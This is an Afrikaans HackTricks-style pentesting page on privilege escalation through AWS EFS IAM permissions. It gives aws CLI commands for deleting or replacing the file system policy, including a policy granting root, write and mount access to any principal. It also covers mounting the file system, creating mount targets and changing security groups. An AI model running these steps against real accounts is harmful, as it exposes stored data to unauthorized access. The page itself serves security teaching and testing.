AWS - EFS Privesc

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

EFS

Meer inligting oor EFS in:

AWS - EFS Enum

Onthou dat jy, om 'n EFS te monteer, in 'n subnetwerk moet wees waar die EFS blootgestel word en toegang daartoe moet hê (sekuriteitsgroepe). As dit gebeur, sal jy dit altyd kan monteer volgens die verstek, maar as dit beskerm word deur IAM-beleide, moet jy die ekstra toestemmings wat hier genoem word hê om toegang daartoe te verkry.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Met enige van hierdie toestemmings kan 'n aanvaller die lêersisteembeleid verander om jou toegang daartoe te gee, of dit net verwyder sodat die verstektoegang verleen word.

Om die beleid te verwyder:

aws efs delete-file-system-policy \
--file-system-id <value>

Om dit te verander:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Met hierdie toestemming sal 'n aanvaller in staat wees om die EFS te monteer. As die skryftoestemming nie standaard aan almal gegee word wat die EFS kan monteer nie, sal hy slegs leestoegang hê.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Die ekstra toestemmings elasticfilesystem:ClientRootAccess en elasticfilesystem:ClientWrite kan gebruik word om binne die lêersisteem te skryf nadat dit gemoniteer is en om toegang tot daardie lêersisteem as root te verkry.

Potensiële Impak: Indirekte bevoorregte toegang deur sensitiewe inligting in die lêersisteem te vind.

elasticfilesystem:CreateMountTarget

As 'n aanvaller binne 'n subnetwerk is waar geen monteerdoelwit van die EFS bestaan nie, kan hy net een in sy subnet skep met hierdie bevoorregting:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potensiële Impak: Indirekte bevoorregte verhoging deur sensitiewe inligting in die lêersisteem te vind.

elasticfilesystem:ModifyMountTargetSecurityGroups

In 'n scenario waar 'n aanvaller vind dat die EFS 'n bergteiken in sy subnet het, maar geen veiligheidsgroep die verkeer toelaat nie, kan hy dit net verander deur die geselekteerde veiligheidsgroepe te wysig:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potensiële Impak: Indirekte privesc deur sensitiewe inligting in die lêersisteem op te spoor.

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated